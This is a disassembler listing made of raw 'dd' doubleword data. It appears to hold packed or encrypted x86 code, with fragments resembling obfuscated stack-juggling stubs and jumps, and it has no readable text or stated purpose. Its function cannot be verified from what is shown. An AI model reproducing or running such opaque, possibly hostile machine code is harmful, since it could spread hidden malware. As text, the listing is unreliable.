		dd 1547844Fh, 53CF41B0h, 2739AB46h, 0AEC537BAh,	0DD54C82Bh
		dd 0AAC335BCh, 0D850C42Fh, 0AFC034BFh, 0D04DBF32h, 835D2AC9h
		dd 348904ECh, 81E68924h, 4C6h, 4EE8300h, 5C243487h, 5E08950h
		dd 4, 42Dh, 24048700h, 241C895Ch, 652F68h, 24148900h, 3ABB1868h
		dd 241C8B09h, 5404C483h, 8324148Bh, 0D56804C4h,	89000002h
		dd 428F241Ch, 2434FF08h, 4C4835Ah, 5B2434FFh, 4C481h, 1E90000h
		dd 0A1FFFAB9h, 0C20178D7h, 0B8A995CEh, 93AC571h, 0E0FFC503h
		dd 0FA71C37h, 41C2DBA5h, 13E5676Fh, 46150224h, 4C9EFCD9h
		dd 3B5C1632h, 600C018Eh, 0EF20E2Dh, 6BBB61C1h, 5D85CB17h
		dd 5968BCA2h, 4467EA1h,	735E364Ah, 1935BA6Dh, 7BE27E1Eh
		dd 143819CAh, 25C9B5E2h, 213862FDh, 53A58E9Eh, 36AE7B28h
		dd 37F000B1h, 3BEC62CEh, 6BD929CAh, 7BF2E5B2h, 4A97404Fh
		dd 3A3020E6h, 286FDD6h,	450F8D76h, 5161D803h, 0DE9C08Bh
		dd 0CF000000h, 286AC9Ah, 4A469DB8h, 0C8B439ECh,	26A1BD83h
		dd 75000935h, 79BD8309h, 93530h, 53501974h, 0FCB8C08Bh
		dd 89000003h, 352AC185h, 389D8D09h, 0FF0937B4h,	83585BD3h
		dd 353079BDh, 17740009h, 0FCB85350h, 89000003h,	352AC185h
		dd 279D8D09h, 0FF0937B1h, 6A585BD3h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0BA1AC350h
		dd 0F37D3DCh, 289h, 8B12B700h, 55006AC0h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 1F889FFBh
		dd 19BD836Eh, 109351Ch,	63840Fh, 0B70F0000h, 0BDBD83D7h
		dd 9350Fh, 53850Fh, 13E90000h, 87000000h, 0B9AF283Ch, 0D4CB8056h
		dd 70BB4E91h, 12F810A0h, 0BD835A43h, 9352365h, 94840F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 1B78C357h, 8156C2C8h, 0AEB855D2h
		dd 0E8B65A7Eh, 4BDB8166h, 44FE9C8h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 950667C3h
		dd 5A5051B1h, 0CED28166h, 80h, 0D0B70F00h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 46C35545h, 0DBAC85F1h
		dd 820FC85Ah, 0Bh, 58F0Fh, 81660000h, 1A94F7E3h, 0F1F7AB7Fh
		dd 0B03FDFC3h, 0F23FB622h, 0BA6295CAh, 98533C97h, 7A7B34CEh
		dd 2F3FA1CEh, 546AF0CAh, 9A84D377h, 0C8BA38FBh,	0D368D86h
		dd 79BDBA1Ah, 553FB5CAh, 5E3FB0F4h, 2F3FB223h, 0F30C88CAh
		dd 22A0D7FFh, 0E53F5D9Fh, 7362B5CAh, 43F79127h,	0EC3FDFC3h
		dd 5E3FB622h, 0EC6795CAh, 0B37B3C92h, 0EF7B34CEh, 0E53FACCEh
		dd 316FF5CAh, 0C0A129BAh, 0AFD6AE5Dh, 373FB5CAh, 8A3CCF5Ah
		dd 0BBC2CD69h, 0AACD512Ah, 0E7AA045Bh, 0D58C212Fh, 9168B5A0h
		dd 0BC3FB5C9h, 1FCEAEAh, 2B1BC943h, 931BF14Bh, 0CB3FB5D7h
		dd 9CFCE28Dh, 3437FC58h, 68F1B334h, 554E03FCh, 5E3FB5DEh
		dd 0B20781F8h, 1D28CC0Ch, 0E63CBF0h, 5D10AD38h,	0B9023FCAh
		dd 0FB307541h, 0BC3FB5C2h, 5E3D31C5h, 4E5FB5CAh, 97355C9Ah
		dd 0E0B5CAh, 0B46B781Fh, 91472C6Fh, 2F1BB143h, 0E7E75A4Ah
		dd 85FD3598h, 633EBA91h, 9DD64BEEh, 0FD3FB5CAh,	0FE565E62h
		dd 0D3352E1h, 6AD6ED76h, 2A3FB5CAh, 0C435F14Ch,	4F8DE0D3h
		dd 0BF16DB11h, 0BACA26D8h, 0E93A3FE2h, 1B3FB5C8h, 793FB5CFh
		dd 0EE714397h, 34373E1Bh, 2CD7E6CAh, 0B73FB5CAh, 42647691h
		dd 643B9196h, 0EF3B918Eh, 3A3FB5CAh, 43E57699h,	3D9BDDB0h
		dd 64BB615Ah, 972C3AC5h, 0C5D6B5CAh, 193FB5CAh,	0DC833946h
		dd 0B6BF8F66h, 1300CEB8h, 5E375DFCh, 6E1AB5CAh,	0DB9A7744h
		dd 0AD648696h, 1CC3FD41h, 4AE83EACh, 793FB5CBh,	2DE93EACh
		dd 2B87D3AAh, 0A46FD4B2h, 9755241Dh, 0CB3C5D9Bh, 0BC1FB5CAh
		dd 0BEB6EC09h, 3DBEB1EEh, 0BC26B1EEh, 0F7EB5CAh, 0EDC1DF09h
		dd 98B345FFh, 0CB3FB64Bh, 0F4D035CAh, 98E639ACh, 7AD7E0CAh
		dd 9C3FB5CAh, 0D7627697h, 0AE3B91A6h, 8E3B918Eh, 8E3FB5CAh
		dd 2242769Fh, 0F023A020h, 79365C98h, 3A83B5CAh,	0B5DD1558h
		dd 7434C8D1h, 973FBD23h, 7418FFCAh, 0A226B903h,	0F6FE4392h
		dd 780E30C5h, 3E30B5CAh, 5E3FB5C6h, 2F393CC5h, 64BEB5CAh
		dd 0E7BF24E6h, 0B53FDF93h, 0F23FB622h, 0BA6795CAh, 987B3C92h
		dd 7A7B34CEh, 2F3FA0CEh, 546FF5CAh, 0C4D76A61h,	9B3FB5CAh
		dd 1786D956h, 4210A413h, 3AB81DF8h, 57D62431h, 0A73FB5CAh
		dd 0A6C453C0h, 0B09EE024h, 8D063591h, 0F30830C5h, 75D7B5CAh
		dd 7B3FB5CAh, 0E9E6169Eh, 4BE7E225h, 0C0C2B1B2h, 91659179h
		dd 0E53A5C9Dh, 3521B5CAh, 22EFA83Fh, 0D63ECC41h, 5DD7E5CAh
		dd 0F3FB5CAh, 1E677692h, 4A3B918Eh, 0F13B918Eh,	0B23FB5CAh
		dd 76B4769Ah, 0BC3FB94Eh, 58B5BACAh, 203FB5CAh,	973FB54Dh
		dd 0CBC034CAh, 0EABFB5CAh, 0F23F6D48h, 2B3FDFCAh, 0BC3FB622h
		dd 9D6595CAh, 0B6B3C90h, 0B37B34CEh, 0CB3FA1CEh, 266DF7CAh
		dd 6DBA72E2h, 78368F0Dh, 0DA3FB5CAh, 0FB52574Bh, 2F3F4523h
		dd 0C03FDFCAh, 0CB3FB622h
		dd 266095CAh, 0D6433C95h, 5D7B34CEh, 0BC3FADCEh, 9D68F2CAh
		dd 45EB7BB9h, 7EE73E9Fh, 0CB3FB54Bh, 0E52C5CAAh, 0F07BB5CAh
		dd 753F9F34h, 17EDD74Ch, 53B39EC8h, 56C3A191h, 7DBED3F7h
		dd 925ED94Eh, 0D6EB5A0h, 0F23FB5C9h, 20FCECEAh,	0B81BF943h
		dd 5A1BF14Bh, 2F3FB5D2h, 0DFCE48Bh, 3A4E092Fh, 0EE4636ACh
		dd 0C4BBBA35h, 763FB5CAh, 0BC3FB64Ch, 8F80BACAh, 0E8A0300Dh
		dd 973EBCF0h, 0CB55B5CAh, 0E53C5D99h, 0A91FB5CAh, 25B6EE09h
		dd 0F8BEB1EEh, 5E29B1EEh, 7C7CB5CAh, 0B8E3A309h, 52A75770h
		dd 0E555FDB6h, 0F23C5D9Ch, 271FB5CAh, 0C8B6EB09h, 1ABEB1EEh
		dd 2F26B1EEh, 0C179B5CAh, 0B8A92009h, 0D68E046h, 0F23FB5D9h
		dd 0D1D2D879h, 9225A382h, 0D55B4C28h, 9584FD79h, 0C5676859h
		dd 0F9BB0EACh, 836CEE91h, 8692674Bh, 0DAFE0C91h, 39B2A833h
		dd 57057855h, 0E4DC0847h, 6F04BCF0h, 0C40FB2BEh, 0E787C1Bh
		dd 0A284D33Fh, 2B3FDFBCh, 0BC3FB622h, 9D6595CAh, 0B6B3C90h
		dd 0B37B34CEh, 0CB3FA9CEh, 266DF7CAh, 4519D09Dh, 59FE59F8h
		dd 4FBF4923h, 47823662h, 2E3680D6h, 974F31C5h, 0CB55B5CAh
		dd 0E53C5D9Bh, 0AB1FB5CAh, 35B6EC09h, 0F8BEB1EEh, 5E24B1EEh
		dd 7E7EB5CAh, 0CD6CA509h, 0AE4B191Ah, 588236EFh, 0F23680C5h
		dd 797F30C5h, 0BC55B5CAh, 5E3C5D9Fh, 721FB5CAh,	0FBB6E809h
		dd 8FBEB1EEh, 0E523B1EEh, 0A77AB5CAh, 135C8309h, 5F851EA0h
		dd 8DB57AB6h, 2F3C36C5h, 2830B5CAh, 0AE823618h,	0E53680E9h
		dd 0F21231C5h, 0C259B5CAh, 3D66B6Ah, 343FB5CAh,	2CD7E0CAh
		dd 0B73FB5CAh, 42627697h, 643B91A6h, 0EE3B918Eh, 3C3FB5CAh
		dd 0F87F769Fh, 5620A756h, 0AC13F606h, 0A223AC77h, 4E30B4C3h
		dd 0E53FB5E5h, 0C72D774Bh, 8C62F276h, 0BC2C5D09h, 53CEB5CAh
		dd 957EAC24h, 0AB912AFBh, 0A09C6BCBh, 0C6E6929Eh, 14BF0F94h
		dd 9065A946h, 0BC3FB5A8h, 3E102C5h, 0C76AB5A0h,	973FB5C9h
		dd 96FCE8EAh, 0E11BD943h, 0F61BF14Bh, 793FB5DEh, 1BFCE08Fh
		dd 5E2634C5h, 495FB5CAh, 7E2DAF70h, 0CB3FB5C4h,	69A51A39h
		dd 0C1984298h, 0B20C3F9Ch, 735E7A13h, 0B66CB5A0h, 2F3FB5C9h
		dd 0CCFCEEEAh, 0CF1BE943h, 0E11BF14Bh, 0F23FB5D0h, 18FCE689h
		dd 76A3E9EDh, 0E3B288E2h, 26057213h, 5A533847h,	0D687BCF0h
		dd 0D6448F96h, 0C716E04Fh, 0CF09EC3h, 0A833DAFEh, 785539B2h
		dd 8475705h, 0BCF0E4DCh, 0B2BE6F04h, 7C1BC40Fh,	0E9830E78h
		dd 83A4F305h, 3AC79FBDh, 0D740009h, 4C028D8Dh, 1B80935h
		dd 0FF000000h, 6A40E1h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 0CF8F02C3h, 0AC06FC8Bh, 0BB255752h
		dd 700252DEh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 14h,	0E2C35646h, 0E614BA66h,	0FFEA7CBAh, 0F58A5118h
		dd 2DE8835Bh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 16h,	0BDC35646h, 12E88B77h, 37000000h, 39C401A2h, 5B83F19Ch
		dd 0DAEDEF2h, 0FD374E55h, 0E3B25741h, 8B665B5Ah, 0D0B70FDEh
		dd 3CBAC08Bh, 8354FFDCh, 3526A1BDh, 9750009h, 3079BD83h
		dd 74000935h, 8B535019h, 3FCB8C0h, 85890000h, 9352CA9h
		dd 0B49F9D8Dh, 0D3FF0937h, 0BD83585Bh, 9353079h, 50177400h
		dd 3FCB853h, 85890000h,	9352CA9h, 0B1409D8Dh, 0D3FF0937h
		dd 0BF0F585Bh, 53006ADEh, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 98EB699Bh, 0ABE1AA00h
		dd 11E9E5ABh, 69000000h, 0A690E586h, 69CD28FAh,	6EC261A5h
		dd 0A9FEF3F2h, 12E8C08Bh, 0B3000000h, 0D38C47Ah, 8B40E72Fh
		dd 710952Fh, 11CF7530h,	0F18B66C5h, 81FA8A59h, 6BF0C1h
		dd 0FFB70F00h, 1AC768h,	0BF665A00h, 18B23A1h, 8B0Fh, 0F0810000h
		dd 77968CECh, 81F98B66h, 0B097EAC0h, 8CF08108h,	8013903Bh
		dd 80500FCFh, 18FA1DFh,	17880Fh, 12E90000h, 70000000h
		dd 44B415F2h, 0C2ED8F90h, 56F36A82h, 0A2491C4Ah, 19E98153h
		dd 6671C95Ah, 0C181D88Bh, 71C95A15h, 6880F50h, 81000000h
		dd 0F5CF4FCBh, 0EA835E7Ah, 26850F01h, 0F000000h, 118Dh
		dd 0CE900h, 0E3000000h,	5433302h, 7C795DE5h, 28E9EFBDh
		dd 3000000h, 0E9EAF33Eh, 0EEF2CBB6h, 0E6CB8190h, 0E9323DE5h
		dd 0FFFFFF66h, 0D3F14C48h, 1FCCE47Ah, 676AFE42h, 0B50980A4h
		dd 8D3792C7h, 3AD08A8Dh, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 0BD8B9FE5h, 9350BC1h
		dd 16298D89h, 890F0935h, 6, 0B11FC381h,	85C75F5Dh, 935287Dh
		dd 6C3Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	7AC35343h, 281FF282h, 43C463B8h, 9D0160E4h, 93516A9h
		dd 6820Fh, 860F0000h, 0
aAEu5		db 'aг┘U"5',9,0
		dd 0E9000000h, 9, 38E924FFh, 0B2E0EAF8h, 79B5FF1Dh, 8909352Ch
		dd 352E5D8Dh, 595FF09h,	6A09350Dh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0C592C355h
		dd 12E948E8h, 0DB000000h, 540E1925h, 9B2ABBD8h,	1A7A01C0h
		dd 0F508EE3Ah, 0FF006A58h, 35082995h, 0EBC08B09h, 0CA68A029h
		dd 44ED00Ch, 84894FFBh,	0C64472EEh, 0EE01EC72h,	91FD8765h
		dd 8F1B8D35h, 6EB0F8CEh, 0E94B1230h, 55CBE75h, 0DE86438h
		dd 0AF000000h, 0CB8056B9h, 0BB4E91D4h, 0F810A070h, 0C7815FFCh
		dd 67D5h, 0A59D2960h, 6609351Eh, 0B961D78Bh, 19CCh, 78B79B3h
		dd 4959D8Bh, 0C0810935h, 0F359B7Ah, 2FE68166h, 1BC081DCh
		dd 8971767Ch, 350AC985h, 0C2C08109h, 0E9528468h, 6, 604CA9DBh
		dd 0F5509635h, 9D09078Fh, 935064Dh, 3304EF83h, 35082195h
		dd 1E98109h, 0F000000h,	1C85h, 0CD958B00h, 0E909352Fh
		dd 28h,	7B650AB1h, 734ED958h, 0B2C91D24h, 0F1B0DCCh, 50BA6691h
		dd 0FF8CE944h, 5BE0FFFFh, 7101F939h, 7FF3C99Ch,	828E018Ch
		dd 98E9h, 9400h, 500h, 100h, 0A2800h, 200h, 20h	dup(0)
		dd 199F6000h, 0C11E91Eh, 7B680000h, 0E9093AD3h,	0FFFAACC4h
		dd 3AD45E68h, 0ACBAE909h, 4068FFFAh, 0E9093AD5h, 0FFFAACB0h
		dd 3AD59A68h, 0ACA6E909h, 0E168FFFAh, 0E9093AD6h, 0FFFAAC9Ch
		dd 3AD73068h, 0AC92E909h, 4068FFFAh, 0E9093ADBh, 0FFFAAC88h
		dd 3ADC6768h, 0AC7EE909h, 4DEFFFFAh, 0B0AD3368h, 73EC7429h
		dd 0ABC33566h, 72EB6D2Eh, 0C7D3667h, 0A9F2E77Eh, 4993C37h
		dd 0A8F5E27Ch, 0FAA33C30h, 62687656h, 5612FB6Fh, 2B478645h
		dd 5DD143AEh, 3D885744h, 9B256965h, 57D91885h, 644E119Fh
		dd 9C421503h, 130FB155h, 0DE96B86h, 11B5177h, 0C1EA8113h
		dd 652E0Ah, 688B65A9h, 955C7DF4h, 33361EFFh, 381D075Eh
		dd 0A22B5B88h, 35C1A060h, 8531408Dh, 252792h, 2E680000h
		dd 0BF0BC39Bh, 3EB6233Dh, 37265B0h, 0DE159B15h,	111684Eh
		dd 0C8BC2913h, 8529BE0Fh, 0BBA992h, 47EA0000h, 0D143AE2Bh
		dd 3EB24158h, 2EABC522h, 578D41C3h, 1C36416Dh, 4AA94769h
		dd 603D5AD6h, 36458F7Ch, 148DA11Ch, 0AD2A46B8h,	5532C246h
		dd 0DF128FA3h, 45894154h, 363D89Fh, 4FE4D615h, 0F2F4AA4Ah
		dd 4F48E0DAh, 0A33C30A4h, 21BCB34Dh, 0D1A64ED2h, 0E3EBA3F6h
		dd 0CCC813BDh, 0DC1E70Bh, 3E5F7AF3h, 0E408A3BAh, 0EADF1BA8h
		dd 5D1B8C34h, 2AEFC56Ah, 10BF20C4h, 53DEE9A3h, 9F66Bh
		dd 496ECC00h, 8918C54h,	4752CD93h, 0D8AA256h, 4851C890h
		dd 57334853h, 1EE2BBDEh, 550B9005h, 1BDDBEDBh, 4F019A07h
		dd 6E5B617Fh, 3E4F12FBh, 0AB2E477Dh, 0F5F26EF2h, 8955B7Eh
		dd 959B2E23h, 3CBBF8Ch,	4E7E70BBh, 34A8590h, 7E757B15h
		dd 0C6F3A8D8h, 0CA93654Ah, 539E3B34h, 298F25D1h, 0EA1300B2h
		dd 7DD0897Bh, 0EA928588h, 0CFh,	802B47A9h, 2275FC8h, 0DEFB77DDh
		dd 915F9113h, 2A42BC62h, 32C246ADh, 0B938A1B8h,	0A12BB915h
		dd 951C363Fh, 648F0A23h, 58E60EE0h, 1C3643CBh, 0B3E8F16Dh
		dd 49A8312Dh, 9B33EBBEh, 3628205h, 2B707615h, 7D51099Ch
		dd 0CCC67A67h, 58747A0Bh, 5A812328h, 25BB2574h,	1C33889Fh
		dd 1BDB159Bh, 0C5D44D6Fh, 900920D8h, 0A329E954h, 452DB4E9h
		dd 913h, 2D6E4BE9h, 722BB6ABh, 376471EEh, 6B30A9C1h, 405D7CF5h
		dd 0ED840673h, 3229AFECh, 0EC82F6A7h, 362AAEEFh, 903CF4A9h
		dd 0FB6D6852h, 8C2F5C12h, 847D2E47h, 3B9E3C9h, 5E58F5FCh
		dd 758CEC62h, 922C227Bh, 6FF1009Dh, 90191587h, 4CF2019Eh
		dd 357B2C96h, 6886281Ch, 47361586h, 32A7BE2Bh, 0AFC335BCh
		dd 0CBDE6932h, 0ED0FBB13h, 0B8D6475h, 92D855EBh, 9A3C150Ch
		dd 0B948832h, 0B229C92h, 62D8668Eh, 7912FB71h, 0B9297232h
		dd 0CF625C94h, 599D1FD2h, 3B33FBCEh, 667C509Eh,	0BC883D3h
		dd 815FBFE1h, 8FEEEEFEh, 2CA8215h, 3C232DDCh, 0CE25CB81h
		dd 2E9E7641h, 1C119E70h, 804C527Ah, 0FBF6E37Eh,	258F5579h
		dd 21886BE5h, 29D3777Fh, 69EFAC35h, 73F8ECF5h, 2A7D6ACCh
		dd 8319F87h, 55070000h,	0B8B52B70h, 6B047C21h, 0B3AB2D6Eh
		dd 6A037526h, 14652E6Fh, 0C1DAFF76h, 0ECB1243Fh, 0C0DDFA74h
		dd 0E2BB2438h, 0BA009EEEh, 0AE12FB6Ch, 9B2E9E1Dh, 58D50BC3h
		dd 0BC150C93h, 7A5E4BECh, 806E7AE1h, 22BFB24Ch,	6F6A0779h
		dd 831C1084h, 0DB452663h, 422CB7F2h, 7D7h, 712A8FADh, 366772EFh
		dd 6B30ADC2h, 3F5C7DF5h, 6439A0B9h, 0F1682257h,	362DB3E8h
		dd 0E886FAA3h, 322EB2EBh, 7C50F8A5h, 0FB6C5C66h, 884B5812h
		dd 0BC39B2Eh, 0C9358D5h, 0B21ABC15h, 128B1408h,	0D8AA21Ch
		dd 346A62E6h, 12FB708Eh, 590648Ah, 0B0EEDEAEh, 12FB70FEh
		dd 7364FCF2h, 0DFE6767Dh, 1112FB70h, 0FE728118h, 8D374863h
		dd 9ED84986h, 78F1A150h, 0B5A6D78Ch, 897BEA23h,	5044A1EEh
		dd 8AE71677h, 545192h, 15820000h, 896875EBh, 4D64EF07h
		dd 3593517Dh, 331C3641h, 0EA0A9789h, 0B13FB234h, 1C36420Fh
		dd 3DB4213Fh, 0A74A57CBh, 7D786CB9h, 0A6A39114h, 73F228D6h
		dd 0F46858EBh, 51F105EBh, 895047FCh, 116Bh, 0DCD11C00h
		dd 0FD000001h, 41A913D1h, 0FB9D1C36h, 0A4954FBh, 0C804DCE7h
		dd 5C983D36h, 553FF2B0h, 7F3F1503h, 0BCC2CF6Bh,	23D125B1h
		dd 0F003968Dh, 0B04A826Ch, 4DCF22BFh, 7F6F55A9h, 9AAA670Eh
		dd 5377570Fh, 2EE6D76Bh, 1ADAF45Dh, 63A89584h, 0B63D636Eh
		dd 6C69E29h, 637C46D8h,	0CC12BA65h, 75A37BE6h, 9A32BCE2h
		dd 0A930C20h, 29BDDA56h, 903336CEh, 907A640Fh, 66000006h
		dd 0ACECFF4h, 4F118A17h, 20D8C5D0h, 4A0E8F08h, 0DED5C6D3h
		dd 5544DDADh, 0FE9B9048h, 5845DB9Dh, 38A1BD43h,	83216D63h
		dd 12FB6B39h, 471BA02Dh, 0B843AE2Bh, 0B9935EDh,	1503415Ch
		dd 5B1D7E20h, 0AB0ADAC7h, 32F2D573h, 641C7AFh, 25170000h
		dd 0C8651B80h, 1B14CCD1h, 0C35B1D7Eh, 1A13C5D6h, 64151E7Fh
		dd 910A8FA6h, 5C4154CFh, 900D8AA4h, 524B54C8h, 4A702E5Eh
		dd 3E12FB6Ah, 2B472E8Dh, 1D9F43AEh, 862C7205h, 821C3641h
		dd 0F36C925Ch, 809C0EE6h, 1F6CDC17h, 26BC1035h,	1C36419Ch
		dd 8B082698h, 0EA0AE468h, 7DF3FC70h, 0BC3E8E60h, 3CC033A4h
		dd 9EEFE3B8h, 0C9894FFDh, 55h, 73EB150Ah, 0ED098B66h, 88A74F5Ah
		dd 0B5EBE30Dh, 1503466Ah, 8C4088Eh, 13DF0DAh, 0AB0EE13h
		dd 0FE13013Eh, 30C4EAD8h, 3D9D23B1h, 0B05E1301h, 3DFCC6DCh
		dd 0C8F81301h, 0C35E0E1Fh, 0F2DA1445h, 0A406ACh, 18DC0213h
		dd 0CD00D9CBh, 9A928597h, 53h, 0A19B2EF9h, 3641B903h, 0C52BAD1Ch
		dd 0DF3DB09h, 0C5EB1503h, 5F7AF709h, 2038883Eh,	0CD77FF0h
		dd 9B22B044h, 9B13012Fh, 78D03DE3h, 9F57C1F6h, 24A8312Dh
		dd 0DE15829Ah, 3BBD9A5Ah, 9238BB26h, 5ABDF468h,	6D48DBBh
		dd 0E0648F61h, 5292414h, 2E650000h, 0D50BC39Bh,	15036C42h
		dd 0B12E40B6h, 2C40B43Fh, 8CD940B3h, 9C1D498h, 3DE81FC5h
		dd 0F4060BCEh, 0EA985C7Dh, 1EC408C4h, 1C364194h, 41BE049Ah
		dd 34BA1C36h, 0FEC088Eh, 0CCD549h, 41AC16CCh, 4FE41C36h
		dd 7E76784Ah, 692174FFh, 9B972965h, 8571F3FEh, 36AF4EFh
		dd 3EEF015h, 0EE059C91h, 0EEC7E27Ah, 2B7B4D68h,	91FFF2FCh
		dd 0EF955044h, 6F91B69Eh, 8E12E1F4h, 5F78F466h,	0C9D04D6Fh
		dd 794EA62Ah, 0CB03DBEEh, 5DA33E31h, 7A1ED6C3h,	0CDC5E164h
		dd 22D1D70Bh, 0A925B2AEh, 63C73CD9h, 19E7837Ah,	0D4589B06h
		dd 0BB3A120h, 90637EF1h, 5F7CF20Ch, 8FE41094h, 51EA0A5h
		dd 17DF6190h, 6D61398Ch, 2DE1037h, 0E6AE0E15h, 0B48C2543h
		dd 8127DD19h, 0ADC8641Ch, 127CDF7h, 3A37C913h, 1ED0549Fh
		dd 0A2514EE0h, 7D21D01Eh, 3EEEB83h, 62FB7581h, 0DE5AA349h
		dd 1BD5B784h, 8B1609B3h, 9110E468h, 5C97021Fh, 0FE7673E8h
		dd 58961AD9h, 4A3AAB99h, 15FF5EAFh, 48E1CE62h, 0E6FCA251h
		dd 130055DCh, 0D618D6D8h, 0D5AFFAC5h, 55A50Fh, 0C7DDA113h
		dd 130055FDh, 0F7F9F7F9h, 0C7EDB3D7h, 0C3130055h, 4E4BE31Dh
		dd 5DC02A6h, 0A30BCD7Fh, 7C50F6FDh, 357C5C66h, 6728581Ch
		dd 0D865964Ch, 76E80CE2h, 2616DDFAh, 9023CFB5h,	13CE14B8h
		dd 9B1502E0h, 64900921h, 0BB7328AEh, 0BD1E803h,	0E4103EA3h
		dd 0AE9F66Ah, 120D9A96h, 6E86C87h, 9C3D34C6h, 0D1E48358h
		dd 0CCEDD5F9h, 0BC25391Dh, 1E0FB335h, 0AF5B9B81h, 0CDD26EF1h
		dd 89542C0Bh, 0D018CC57h
		dd 5AB599Dh, 0BE585EEEh, 97881C35h, 0FC75E70Ah,	2EAF16DDh
		dd 77EEA346h, 8081CC8Dh, 5BE68950h, 0A0000000h,	0D44C99E0h
		dd 0B242D4C1h, 0C39B2E0Bh, 6079F10Bh, 6BBAE894h, 91150372h
		dd 0D50BBF0Fh, 130111EFh, 0B7FDA3EBh, 0B3130111h, 0AC33C32Dh
		dd 961CC206h, 92130111h, 5698011Ch, 11AE109Eh, 0F66F1301h
		dd 2A004D0Eh, 506A9285h, 8333BEDBh, 0F604C1B1h,	75816FF7h
		dd 103C6h, 2B470500h, 58D143AEh, 5ED5DC51h, 0BA34B83Bh
		dd 0D74BB537h, 4BA527CAh, 9F3834A8h, 534CE054h,	45A97A4Ah
		dd 255D1C36h, 26934164h, 0E15B9B4Ah, 9147544Dh,	4C8049Dh
		dd 29B01AC8h, 2A41C36h,	3629DAE0h, 0F976CC1Ch, 0D39D6AD1h
		dd 0AD17CDF1h, 0A91C354Bh, 860DE907h, 0D6F6AEF9h, 278ADC8h
		dd 504D5315h, 606C246Fh, 7842602Ch, 6C130067h, 67309A48h
		dd 82241300h, 0EF73546Ch, 869B19A2h, 0AF4FE06Eh, 4D6F0BCCh
		dd 872BC6D3h, 334E7359h, 0AF41671Ch, 94E99947h,	0E7BFEB72h
		dd 0B612BA34h, 334AA228h, 0E410961Ch, 0F66A9438h, 7A7960F9h
		dd 82FCF8F6h, 2BADEEEBh, 0A43FA732h, 0F9E9A367h, 231907Ah
		dd 55070000h, 0B8B52B70h, 6B047C21h, 0B3AB2D6Eh, 6A037526h
		dd 14652E6Fh, 0C1DAFF76h, 0ECB1243Fh, 0C0DDFA74h, 0E2BB2438h
		dd 0BA009EEEh, 0AE12FB66h, 2E479E1Dh, 0F26EF2ABh, 0EC0EB8E5h
		dd 0F2916572h, 0BC39B2Eh, 0FFF5D4B3h, 39BDBD5Ch, 0DBC04F95h
		dd 0B2341502h, 8A306E1Ah, 7E13009Bh, 71159C58h,	9B3D871Dh
		dd 0B7391300h, 28CBD649h, 0FCC250A4h, 0BD13009Bh, 5D11B111h
		dd 0CAC65140h, 0EEEFD52Ah, 9285569Fh, 0E1C8h, 2B470700h
		dd 0EB9F43AEh, 0AF425FD1h, 420DB72Dh, 0E7091C36h, 15849D0Fh
		dd 45BD4EDEh, 0FF731C36h, 3D9822C0h, 0A8C1C36h,	2D41B7E4h
		dd 3D664C92h, 3C621C36h, 0C22CA9C2h, 3911A42Fh,	0BE893995h
		dd 562F018Ch, 0AFAE44B0h, 651502E5h, 3A8D5A43h,	0D2346A62h
		dd 460BCC4Dh, 9B922CA0h, 8571F3FEh, 4B4EE7D9h, 33994783h
		dd 251C342Dh, 6C4C1FEDh, 0F5FBC96Ah, 6C87120Bh,	772F0CE8h
		dd 49278D53h, 7D231C33h, 496E0779h, 3349319Bh, 0D0C9611Ch
		dd 83259F21h, 68C0796Dh, 56DDE9A3h, 10A6Ch, 5572E000h
		dd 49D9048h, 534EE197h,	0F99E964Ah, 5445DCA4h, 4B3F4C47h
		dd 22D6C7D2h, 490F8C09h, 0FD1CAD7h, 33158613h, 657F455Bh
		dd 6A7B12FBh, 0AB2E4769h, 0F5F26EF2h, 13955C7Dh, 8B6574EDh
		dd 2B472112h, 0E2474980h, 21A34E4Bh, 6BE99A1h, 0BC9CE4E8h
		dd 0A0E2EB76h, 0B82E6721h, 0B6A53508h, 0D14DBF3Eh, 0EBBC04C8h
		dd 0B9493AABh, 75592EC6h, 97418B19h, 0B3351C35h, 2DE5B043h
		dd 0E98E03A1h, 4066150Bh, 23C10DB1h, 12FBC699h,	71EB0B8Dh
		dd 6079F4FDh, 0BCE10F91h, 0A7BF2844h, 44AF2C42h, 41C32EC0h
		dd 24B444AFh, 1901DA88h, 0AA8B0D75h, 670002BEh,	0D420CECBh
		dd 4EE2957Fh, 98944C51h, 42A30FD1h, 757BB826h, 0AB952959h
		dd 0E4CA5FECh, 25A74A4Fh, 30A42BCBh, 0E23A7138h, 0B4746595h
		dd 5C6488DFh, 8A64D2EFh, 6F7AF567h, 0E80BE5F0h,	17DAFF74h
		dd 0B4B79D84h, 0E4977DCEh, 8A4E4F48h, 0EA0996h,	3, 47844F51h
		dd 0CF41B015h, 39AB4653h, 0C537BA27h, 54C82BAEh, 0C335BCDDh
		dd 50C42FAAh, 0C034BFD8h, 4DBF32AFh, 5D2AC9D0h,	5E08950h
		dd 4, 42Dh, 24048700h, 2414895Ch, 1C4A68h, 24348900h, 30F368h
		dd 242C8900h, 0D258BF57h, 0FE89093Ah, 81243C8Bh, 4C4h
		dd 3C596800h, 24890000h, 24048324h, 0BB535D04h,	8, 568BC381h
		dd 0EB01035Ch, 568BEB81h, 3389035Ch, 242C8B5Bh,	81E28952h
		dd 4C2h, 4C28100h, 87000000h, 0FF5C2414h, 835E2434h, 0C5E904C4h
		dd 0B0FFFAA0h, 0B2A24E86h, 0B880D3D7h, 93ADD96h, 0E0FFC503h
		dd 24297E51h, 642EB73Bh, 2C87060Ch, 15572EF3h, 53F76250h
		dd 327F95BCh, 725E5FB2h, 31536E61h, 7EEB6DD1h, 5127565Ah
